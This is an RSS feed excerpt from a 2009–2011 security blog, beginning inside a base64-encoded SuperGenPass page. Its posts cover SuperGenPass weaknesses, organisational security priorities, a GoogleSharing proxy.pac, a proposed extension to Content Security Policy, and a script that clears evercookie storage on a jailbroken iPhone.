sJ3dlYi56YScsJ2NvLnp3JywnYWMuencnLCdvcmcuencnLCdnb3YuencnLCdldS5vcmcnLCdhdS5jb20nLCdici5jb20nLCdjbi5jb20nLCdkZS5jb20nLCdkZS5uZXQnLCdldS5jb20nLCdnYi5jb20nLCdnYi5uZXQnLCdodS5jb20nLCduby5jb20nLCdxYy5jb20nLCdydS5jb20nLCdzYS5jb20nLCdzZS5jb20nLCd1ay5jb20nLCd1ay5uZXQnLCd1cy5jb20nLCd1eS5jb20nLCd6YS5jb20nLCdkay5vcmcnLCd0ZWwubm8nLCdmYXgubnInLCdtb2IubnInLCdtb2JpbC5ucicsJ21vYmlsZS5ucicsJ3RlbC5ucicsJ3RsZi5ucicsJ2UxNjQuYXJwYSddOw0KCQkJCQlmb3IodmFyIGk9MDsgaTxUTERMaXN0Lmxlbmd0aDsgaSsrKSB7DQoJCQkJCQlpZihVUkk9PVRMRExpc3RbaV0pIHsNCgkJCQkJCQlVUkk9SG9zdE5hbWVbSG9zdE5hbWUubGVuZ3RoLTNdKycuJytVUkk7DQoJCQkJCQkJYnJlYWs7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoNCgkJCQlyZXR1cm4gVVJJOw0KDQoJCQl9DQoNCgkJCWZ1bmN0aW9uIFNHUExvY2FsKCkgew0KDQoJCQkJdmFyIFBhc3N3ZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGFzc3dkJykudmFsdWU7DQoJCQkJdmFyIERpc2FibGVUTEQ9KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdEaXNhYmxlVExEJykuY2hlY2tlZCk%2FdHJ1ZTpmYWxzZTsNCgkJCQl2YXIgRG9tYWluPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdEb21haW4nKS52YWx1ZTsNCgkJCQl2YXIgTGVuPWdwMl92YWxpZGF0ZV9sZW5ndGgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0xlbicpLnZhbHVlKTsNCg0KCQkJCWlmKFBhc3N3ZCYmRG9tYWluKSB7DQoJCQkJCURvbWFpbj1ncDJfcHJvY2Vzc191cmkoRG9tYWluLERpc2FibGVUTEQpOw0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnR2VuUGFzc3dkJykudmFsdWU9Z3AyX2dlbmVyYXRlX3Bhc3N3ZChQYXNzd2QrJzonK0RvbWFpbixMZW4pOw0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnRG9tYWluJykudmFsdWU9RG9tYWluOw0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnTGVuJykudmFsdWU9TGVuOw0KCQkJCX0NCg0KCQkJCXJldHVybiBmYWxzZTsNCg0KCQkJfQ0KDQoJCTwvc2NyaXB0Pg0KDQogICAgCTx0aXRsZT5TdXBlckdlblBhc3MgTW9iaWxlIFZlcnNpb248L3RpdGxlPg0KDQoJPC9oZWFkPg0KDQoNCgk8Ym9keT4NCg0KDQoJCTxkaXYgaWQ9Ik1vYmlsZSI%2BDQoNCgkJCTxoMj48YSBocmVmPSJodHRwOi8vd3d3LnN1cGVyZ2VucGFzcy5jb20vIj5TdXBlckdlblBhc3MuY29tPC9hPjwvaDI%2BDQoNCgkJCTxub3NjcmlwdD48cCBpZD0iV2FybmluZyI%2BV2FybmluZzogSmF2YVNjcmlwdCBpcyBkaXNhYmxlZCE8L3A%2BPC9ub3NjcmlwdD4NCg0KCQkJPGZvcm0gbmFtZT0iTW9iaWxlIiBvbnN1Ym1pdD0iU0dQTG9jYWwoKTsgcmV0dXJuIGZhbHNlOyIgYWN0aW9uPSJodHRwOi8vbG9jYWxob3N0OjkvIiBtZXRob2Q9IlBPU1QiPg0KDQoJCQkJPGg0PjxsYWJlbCBmb3I9IlBhc3N3ZCI%2BTWFzdGVyIHBhc3N3b3JkPC9sYWJlbD48L2g0Pg0KCQkJCTxwPjxpbnB1dCBpZD0iUGFzc3dkIiBuYW1lPSJQYXNzd2QiIHR5cGU9InBhc3N3b3JkIiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0dlblBhc3N3ZCcpLnZhbHVlPScnOyI%2BPC9wPg0KDQoJCQkJPGg0PjxsYWJlbCBmb3I9IkRvbWFpbiI%2BRG9tYWluIC8gVVJMPC9sYWJlbD48L2g0Pg0KCQkJCTxwPg0KCQkJCQk8aW5wdXQgaWQ9IkRvbWFpbiIgbmFtZT0iRG9tYWluIiB0eXBlPSJ0ZXh0IiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0dlblBhc3N3ZCcpLnZhbHVlPScnOyI%2BPGJyPg0KCQkJCQk8aW5wdXQgaWQ9IkRpc2FibGVUTEQiIG5hbWU9IkRpc2FibGVUTEQiIHR5cGU9ImNoZWNrYm94IiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0dlblBhc3N3ZCcpLnZhbHVlPScnOyI%2BIDxsYWJlbCBpZD0iU21hbGwiIGZvcj0iRGlzYWJsZVRMRCI%2BRGlzYWJsZSBzdWJkb21haW4gcmVtb3ZhbDwvbGFiZWw%2BDQoJCQkJPC9wPg0KDQoJCQkJPGg0PjxsYWJlbCBmb3I9IkxlbiI%2BUGFzc3dvcmQgbGVuZ3RoPC9sYWJlbD48L2g0Pg0KCQkJCTxwPjxpbnB1dCBpZD0iTGVuIiBuYW1lPSJMZW4iIHR5cGU9InRleHQiIHNpemU9IjIiIHZhbHVlPSIxMCIgb25jaGFuZ2U9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdHZW5QYXNzd2QnKS52YWx1ZT0nJzsiPiBjaGFyYWN0ZXJzPC9wPg0KDQoJCQkJPHA%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdlbmVyYXRlIj48L3A%2BDQoNCgkJCQk8aDQ%2BPGxhYmVsIGZvcj0iR2VuUGFzc3dkIj5Zb3VyIGdlbmVyYXRlZCBwYXNzd29yZDwvbGFiZWw%2BPC9oND4NCgkJCQk8cD48aW5wdXQgaWQ9IkdlblBhc3N3ZCIgbmFtZT0iR2VuUGFzc3dkIiB0eXBlPSJ0ZXh0Ij48L3A%2BDQoNCgkJCTwvZm9ybT4NCg0KCQk8L2Rpdj4NCg0KDQoJPC9ib2R5Pg0KDQo8L2h0bWw%2B&quot;&gt;data URI&lt;/a&gt;, &lt;a href=&quot;http://supergenpass.com/mobile/&quot;&gt;straight JavaScript&lt;/a&gt;, &lt;a href=&quot;http://michael.gorven.za.net/files/supergenpass.py&quot;&gt;Python&lt;/a&gt; (&lt;a href=&quot;https://code.launchpad.net/%7Emgiuca/pysgp/&quot;&gt;alternative&lt;/a&gt;) and &lt;a href=&quot;http://mene.za.net/passgen/&quot;&gt;J2MEE&lt;/a&gt; implementations.&lt;/p&gt; 
&lt;p&gt;There are a few potential problems that need to be considered (they all have solutions) however:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The bookmarklet runs in the same context as the website you&#039;re logging into. This means javascript on the site (or POST&#039;ed/GET&#039;ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There&#039;s a better explanation &lt;a href=&quot;http://akibjorklund.com/2009/supergenpass-is-not-that-secure&quot; title=&quot;SuperGenPass is not that Secure&quot;&gt;here&lt;/a&gt;, and I put up a demo &lt;a href=&quot;http://singe.za.net/exploit/sgp.html&quot; title=&quot;SuperGenPass Bookmarlet Master Password Leak&quot;&gt;here&lt;/a&gt;. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I&#039;d still avoid the bookmarklet for important stuff.&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt; 
&lt;li&gt;The algorithm doesn&#039;t include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn&#039;t a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my &lt;a href=&quot;http://singe.za.net/sgp/&quot; title=&quot;Singe&#039;s SuperGenPass&quot;&gt;own&lt;/a&gt;, more on that later.&lt;/li&gt; 
&lt;li&gt;The default password length is 10. That&#039;s fine, but given research &lt;a href=&quot;http://news.electricalchemy.net/2009/10/password-cracking-in-cloud-part-5.html&quot; title=&quot;Password Cracking in the Cloud&quot;&gt;like this&lt;/a&gt;, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.&lt;/li&gt; 
&lt;li&gt;MD5 - this isn&#039;t a problem. The knee jerk I hear from some security people is that is uses MD5 and &lt;a href=&quot;http://www.win.tue.nl/hashclash/rogue-ca/&quot; title=&quot;MD5 Considered Harmful&quot;&gt;that&#039;s broken&lt;/a&gt;. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we&#039;re safe here (I think, crypto nerds got any comments?)&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;In light of the above, I&#039;ve made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it&#039;s author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.&lt;/p&gt; 
&lt;p&gt;In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using &lt;a href=&quot;/sgp/&quot; title=&quot;singe&#039;s SuperGenPass&quot;&gt;my customised version&lt;/a&gt;, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.&lt;/p&gt; 
&lt;p&gt;Thanks to &lt;a href=&quot;http://russell.rucus.net/&quot; title=&quot;Russell Cloran&quot;&gt;Russell&lt;/a&gt; for pointing SGP out in the first place, and &lt;a href=&quot;http://michael.gorven.za.net/&quot; title=&quot;Michael Gorven&quot;&gt;Michael&lt;/a&gt; for the Python and J2MEE version and the changes.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 17 Nov 2009 20:20:33 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/987-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Anti-Predictions for 2011</title>
    <link>http://www.singe.za.net/blog/archives/1021-Anti-Predictions-for-2011.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1021-Anti-Predictions-for-2011.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1021</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1021</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we&#039;ll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that&#039;s just because I believe in them).&lt;br /&gt; &lt;ul&gt; 
&lt;li&gt;Get a handle of what you have online. Many orgs have a much larger 
Internet presence than what&#039;s sitting in their hosting center. Cheap 
hosting, elastic hosting, service providers with their own 
infrastructure (particularly those catering directly to business units),
 half forgotten subsidiaries &amp;amp; business partners all put services 
online that tend to get overlooked. But expose your company to brand 
damage or access to your network. Best of all, this is cheap &amp;amp; quick
 to do. Consolidating the results into controlled hosting areas and 
applying consistent security standards isn&#039;t unfortunately.&lt;/li&gt; 
&lt;li&gt;Check up on exceptions to the basics. By now most have at least a 
basic patch, virus, change &amp;amp; configuration management process for 
servers. If you don&#039;t, start. If you do, start checking on exceptions 
such as;


&lt;ul&gt; 
&lt;li&gt;How many servers don&#039;t we know about &amp;amp; why?&lt;br /&gt; &lt;/li&gt; 
&lt;li&gt;How many servers don&#039;t have AV &amp;amp; patches up to date?&lt;/li&gt; 
&lt;li&gt;How many changes that didn&#039;t go through change control were made?&lt;/li&gt; 
&lt;/ul&gt;
These are harder questions to answer, but as any pentester will tell 
you, we&#039;re good at finding those machines and that&#039;s our quick &#039;n easy 
in.

&lt;/li&gt; 
&lt;li&gt;Third party patches. Microsoft did some good work in sorting out 
their patch release cycles and it&#039;s fairly easy to get those patches 
applied regularly. Unfortunately the attacks have moved to the harder to
 patch, less secure software on machines operated by less savvy users. 
This means you need to start managing non-MS patches, and you need to do
 it on more than just servers. Worse still, each third party software 
provider has their own update mechanism which is hard to centrally 
manage (in a Window environment at least). Big ticket patch management 
tools have long had this capability but they also come with the price 
tag. Cheaper tools such as &lt;a href=&quot;https://secunia.com/vulnerability_scanning/corporate/&quot;&gt;Secunia CSI&lt;/a&gt; or even the right vulnerability scanner can alert on what needs doing.&lt;/li&gt; 
&lt;li&gt;Mobile security *processes* - People have hyped mobile security for 
years and we&#039;re at a point where there&#039;s a reasonable expectation that a
 majority of information workers have at least company email &amp;amp; 
calendar data on their phones. The most likely threat is of the device 
being lost or trivially accessed. Figure out what controls you can push 
to the most number of devices (e.g. MS ActiveSync allows passwords and 
lock times to be enforced &amp;amp; iDevices or RIM devices have an extended
 set of controls). More importantly however, is to implement processes 
for using these. They don&#039;t need to be perfect, but at a minimum 
employees should be able to report lost or stolen phones and have a 
remote wipe command sent &amp;amp; passwords reset.&lt;/li&gt; 
&lt;li&gt;Physical Access Management - It&#039;s 2011 and there are still wildly 
inconsistent ways in which this is managed. Make sure there is proper 
equipment sign in/out, that guards actually check bags &amp;amp; that 
legitimate data is entered (or go for the &lt;a href=&quot;http://37signals.com/svn/posts/946-tips-on-how-to-work-smarter-from-ricardo-semler?4&quot;&gt;Ricardo Semler approach&lt;/a&gt;,
 but don&#039;t pay for an awkward middle ground). I still regularly sign in 
as Osama Bin Laden and walk in/out with laptops hidden in my bag. There 
are some nice advances in tech in ZA too; &lt;a href=&quot;http://www.mydigitallife.co.za/index.php?option=com_content&amp;amp;task=view&amp;amp;id=1047498&amp;amp;Itemid=38&quot;&gt;electronic sign in devices&lt;/a&gt;
 that look up ID numbers OTA and take copies of fingerprints. Next up 
make sure there&#039;s adequate camera coverage of your offices &amp;amp; that 
suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.&lt;br /&gt; &lt;/li&gt; 
&lt;/ul&gt;These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we&#039;ve had some fun with that at work and will hopefully add to the noise with those soon.&lt;br /&gt; 
    </content:encoded>

    <pubDate>Mon, 10 Jan 2011 11:53:20 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1021-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>GoogleSharing For Other Browsers</title>
    <link>http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1020</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1020</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;GoogleSharing is something I&#039;ve written about before, and strongly believe in. It&#039;s a way of proxying connections to unauthenticated Google services in such a way that:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Google can&#039;t work out who you are (random session cookies are used)&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Google can&#039;t work out that you&#039;re using a proxy&lt;/li&gt; 
&lt;li&gt;The proxy can&#039;t see your searches (if using SSL)&lt;/li&gt; 
&lt;/ul&gt;However, right now it only runs in Firefox. While there are some people looking to port it to other browsers, there are some options available in the meantime, especially for mobile browsers.&lt;br /&gt; &lt;p&gt;The &lt;strong&gt;first&lt;/strong&gt;, and most portable is to use the front-end I&#039;ve &lt;a title=&quot;Scroogle is Dead, Long Live GoogleSharing&quot; href=&quot;http://www.singe.za.net/blog/archives/1005-Scroogle-is-Dead,-Long-Live-GoogleSharing.html&quot;&gt;previously blogged about&lt;/a&gt;. It&#039;s currently sitting at &lt;a href=&quot;http://1984.za.net/&quot; title=&quot;GoogleSharing Front-End&quot;&gt;http://1984.za.net/&lt;/a&gt;. Unfortunately, this will not be encrypted, and the webserver will be able to see your searches, however, the other benefits remain, and you can use it when you&#039;re not at your computer.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;The &lt;strong&gt;second&lt;/strong&gt;, and which allows you to continue to use Google as normal, and works for more than just search, is a dynamic proxy.pac file hosted &lt;a href=&quot;http://1984.za.net/proxy.php&quot; title=&quot;GoogleSharing Proxy.Pac generator&quot;&gt;here&lt;/a&gt;. By default it gives you a working proxy.pac that will proxy *all* Google services (even authenticated ones, to be fixed) via GoogleSharing. The options are:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;proxy.php - will load the default .pac which will specify a DIRECT connection, without proxy for non-Google services&lt;/li&gt; 
&lt;li&gt;proxy.php?proxy=&amp;lt;proxy&amp;gt;&amp;amp;port=&amp;lt;port&amp;gt; - will allow a specific proxy &amp;amp; port to be specified if you are being one e.g proxy.php?proxy=192.168.1.1&amp;amp;port=3128&lt;/li&gt; 
&lt;li&gt;proxy.php?proxy=&amp;lt;proxy&amp;gt;&amp;amp;port=&amp;lt;port&amp;gt;&amp;amp;socks - will do the same as the previous, except specify the default proxy as a SOCKS proxy&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;Additionally, it will blackhole Google Ads and the Facebook like button on non-webkit browsers (on webkit browsers it will ignore the blackhole, to be fixed).&lt;/p&gt; 
&lt;p&gt;This is in alpha right now, but I&#039;ve been using it for a week on my iPhone (more on how to change 3G proxy settings on the iPhone later) with no major problems. Feel free to make a copy of the output and create your own proxy.pac. Any feedback would be appreciated.&lt;/p&gt; 
&lt;p&gt;Todo:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Only proxy unauthenticated Google services&lt;/li&gt; 
&lt;li&gt;Implement a blackhole that Webkit respects&lt;/li&gt; 
&lt;li&gt;Provide a full ad-blocker blacklist from EasyList as an optional extra&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 20 Dec 2010 00:32:37 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1020-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Browser Security - better defenses</title>
    <link>http://www.singe.za.net/blog/archives/1018-Browser-Security-better-defenses.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1018-Browser-Security-better-defenses.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1018</wfw:comment>

    <slash:comments>5</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1018</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;
While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can&#039;t tell the difference between attacker injected script and legitimate scripts and happily responds to both. It&#039;s what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn&#039;t want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn&#039;t be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.&lt;/p&gt; 
&lt;p&gt; There&#039;s a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can&#039;t control. If an ad provider is hacked and used to distribute malware, then the site-owner&#039;s only choice (if detected) is to remove the ad. &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;p&gt;We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy &amp;amp; ability to disable features not required) back in the hand of the right people. Once we get it, there&#039;s a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first. &lt;br /&gt;&lt;/p&gt; &lt;p&gt;Right now, a proposal for something like the first requirement exists in the form of the &lt;a title=&quot;Content Security Policy&quot; href=&quot;https://people.mozilla.com/%7Ebsterne/content-security-policy/&quot;&gt;Content Security Policy&lt;/a&gt; put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the &lt;strong&gt;frame-ancestors&lt;/strong&gt; directive to ensure that your site can&#039;t be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...&lt;/p&gt; 
&lt;p&gt;Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won&#039;t cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I&#039;d like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an &amp;quot;on/off/whitelist/blacklist&amp;quot; rule can be applied. For example, image the following depth-first view of a tree leg &amp;quot;external data -&amp;gt; css -&amp;gt; images -&amp;gt; background-image&amp;quot; At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn&#039;t require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential &amp;quot;attack surface&amp;quot; for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.&lt;/p&gt; 
&lt;p&gt;For the second problem, there are far less advanced tools available. The closet to it are the new &lt;a href=&quot;http://www.w3.org/TR/html5/the-iframe-element.html#attr-iframe-sandbox&quot;&gt;HTML5 &amp;lt;iframe&amp;gt; sandbox&lt;/a&gt; directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We&#039;d need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&amp;#160;This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.&lt;/p&gt; 
&lt;p&gt;In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I&#039;m possibly being quite naive about all of this, and would love some feedback. Truthfully, I&#039;m not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 29 Nov 2010 18:20:57 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1018-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Killing the Evercookie - Part2 MobileSafari</title>
    <link>http://www.singe.za.net/blog/archives/1016-Killing-the-Evercookie-Part2-MobileSafari.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1016-Killing-the-Evercookie-Part2-MobileSafari.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1016</wfw:comment>

    <slash:comments>7</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1016</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;
UPDATE: An iPhone developer has turned this into an &lt;a href=&quot;http://modmyi.com/cydia/package.php?id=32881&quot;&gt;awesome little SBSetting addon&lt;/a&gt;. You&#039;ll still need a jailbroken phone but can install it via Cydia.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;My &lt;a href=&quot;http://www.singe.za.net/blog/archives/1014-Killing-the-Evercookie.html&quot;&gt;previous experiments&lt;/a&gt; in killing the Evercookie in Safari sparked similar posts describing how to do the same for &lt;a href=&quot;http://jeremiahgrossman.blogspot.com/2010/10/killing-evercookie-google-chrome-wo.html&quot;&gt;Chrome&lt;/a&gt; and &lt;a href=&quot;http://www.monirulislam.com/general-web-desktop-application-security-news/how-to-remove-evercookie-from-firefox-3/&quot;&gt;Firefox&lt;/a&gt;. However, my second most frequent browsing platform is my iPhone, and I thought I would investigate how Apple IOS, MobileSafari &amp;amp; embedded WebKit fares. &lt;strong&gt;It does much worse&lt;/strong&gt;. There are two problems; the first is, any app which embeds MobileWebKit has it&#039;s own stores for normal cookies, browser cache and HTML5 storage. Even if you go to your Safari settings (Settings -&amp;gt; Safari -&amp;gt; Clear {Cookies|Cache} &amp;amp; Settings -&amp;gt; Safari -&amp;gt; Databases -&amp;gt; Edit -&amp;gt; (delete all present) ) and delete everything, you haven&#039;t cleared the cookies, caches &amp;amp; stores in the other apps (e.g. even a simple cookie set for &lt;span style=&quot;text-decoration: underline;&quot;&gt;&lt;a href=&quot;http://singe.za.net&quot;&gt;singe.za.net&lt;/a&gt;&lt;/span&gt; in Twitter.app&#039;s embedded browser, will still exist). The second problem is that, in MobileSafari, even if you do clear your MobileSafari store, the HTML5 localStorage mechanism isn&#039;t properly cleared and the evercookie reloads itself.&lt;/p&gt; &lt;p&gt;To hard clear all the WebKit datastores, including normal cookies, I put the following quick script together (you&#039;ll need a JailBroken iPhone). It will iterate through all WebKit databases, including MobileSafari&#039;s and clear out the evercookie. You&#039;ll need to close (not suspend) all apps running WebKit for this to be effective (the evercookie reloads itself in seconds if they&#039;re open). Note, it produces ugly output, and prompts before you delete files, but I wanted some visibility into who is storing what where. The first run deleted over 30 cookies in various places.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;#!/bin/bash&lt;br /&gt;echo &amp;quot;Deleting evercookie locations Safari missed (see samy.pl/evercookie)&amp;quot;&lt;br /&gt;&lt;br /&gt;for DIRNAME in $(find /var/mobile/Applications -maxdepth 3 -type d -print|grep WebKit); do&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #Delete HTML5 SQLite DB&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ls &amp;quot;$DIRNAME&amp;quot;/Databases/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri &amp;quot;$DIRNAME&amp;quot;/Databases/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri /var/mobile/Library/WebKit/Databases/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #Delete HTML5 local storage&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ls &amp;quot;$DIRNAME&amp;quot;/LocalStorage/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri &amp;quot;$DIRNAME&amp;quot;/LocalStorage/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri /var/mobile/Library/WebKit/LocalStorage/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #Delete normal cookies&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ls &amp;quot;$DIRNAME&amp;quot;/Cookies/*&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; rm -ri &amp;quot;$DIRNAME&amp;quot;/Cookies/*&lt;br 